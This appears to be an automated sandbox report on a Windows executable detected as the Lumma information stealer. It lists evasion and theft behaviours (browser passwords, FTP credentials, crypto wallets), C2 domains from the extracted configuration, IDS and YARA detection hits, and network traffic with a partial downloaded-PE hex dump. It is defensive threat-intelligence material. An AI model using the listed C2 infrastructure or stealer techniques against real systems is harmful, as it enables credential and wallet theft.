Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1557121
MD5:	54ea56952815e8d93fcc8d8e4ff07015
SHA1:	fa82fe6a4c32bee4e0076308a54e889ce121752d
SHA256:	56005fa7ccdb8c2849cb8e42d5bb572b9f51469e7ff4886c677364970662eb50
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to detect virtual machines (SIDT)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6948 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 54EA56952815E8D93FCC8D8E4FF07015)

chrome.exe (PID: 800 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5308 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1976,i,2413238672363069043,8081917924394963987,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7428 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7616 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1456 --field-trial-handle=1996,i,12330693015052581531,7143536758829977375,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["p3ar11fter.sbs", "3xp3cts1aim.sbs", "processhol.sbs", "peepburry828.sbs", "p10tgrace.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: file.exe PID: 6948	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 6948	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6948	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T12:35:04.570851+0100	2028371	3	Unknown Traffic	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-17T12:35:06.185915+0100	2028371	3	Unknown Traffic	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-17T12:35:07.512134+0100	2028371	3	Unknown Traffic	192.168.2.6	49712	188.114.97.3	443	TCP
2024-11-17T12:35:09.027546+0100	2028371	3	Unknown Traffic	192.168.2.6	49713	188.114.97.3	443	TCP
2024-11-17T12:35:10.635882+0100	2028371	3	Unknown Traffic	192.168.2.6	49714	188.114.97.3	443	TCP
2024-11-17T12:35:12.475444+0100	2028371	3	Unknown Traffic	192.168.2.6	49716	188.114.97.3	443	TCP
2024-11-17T12:35:14.073307+0100	2028371	3	Unknown Traffic	192.168.2.6	49717	188.114.97.3	443	TCP
2024-11-17T12:35:18.551129+0100	2028371	3	Unknown Traffic	192.168.2.6	49744	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T12:35:05.485072+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-17T12:35:06.679159+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-17T12:35:18.863804+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49744	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T12:35:05.485072+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49709	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T12:35:06.679159+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49710	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T12:35:19.800363+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49751	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T12:35:12.963211+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49716	188.114.97.3	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000003.2366749345.0000000008050000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2464729184.0000000005F22000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49744 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49716 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49710 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49710 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 17 Nov 2024 11:35:19 GMTContent-Type: application/octet-streamContent-Length: 2844672Last-Modified: Sun, 17 Nov 2024 11:33:51 GMTConnection: keep-aliveETag: "6739d49f-2b6800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 f1 d2 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6a 6d 66 75 67 6c 66 7a 00 20 2b 00 00 a0 00 00 00 06 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6d 6d 65 69 76 65 76 00 20 00 00 00 c0 2b 00 00 06 00 00 00 40 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 46 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 13.107.246.67 13.107.246.67
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49714 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49713 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49710 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49744 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49712 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49716 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49751 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49717 -> 188.114.97.3:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bZl9wftxmLG4fdl&MD=tYp9rpOE HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
